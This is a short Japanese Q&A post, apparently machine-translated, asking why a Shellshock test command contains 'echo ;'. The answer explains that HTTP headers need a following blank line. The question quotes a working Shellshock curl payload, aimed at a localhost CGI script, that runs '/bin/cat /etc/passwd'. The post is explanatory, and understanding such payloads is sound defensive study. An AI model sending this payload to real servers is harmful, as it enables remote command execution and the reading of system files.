Shellshock攻撃を確認していますが、次のコードを理解していません。
curl -v http://localhost/cgi-bin/shellshock.cgi -H "custom:() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
echo ;
私が理解していない部分は、リモートシステムで実行される実際のコマンドで/etc/passwdのContent-Typeと/bin/catをエコーすることの間の機能です。
ここでの役割は何ですかecho ;
?
ありがとうございます。
ベストアンサー1
これがHTTPの構築方法です。 HTTPヘッダーの後には空行が必要です。これは孤独の結果ですecho
。
次の2つを比較します。
echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
そして:
echo Content-Type: text/html; /bin/cat /etc/passwd
今頃なら明らかになりますecho ;
。 (もちろんセミコロンは命令を区別します。)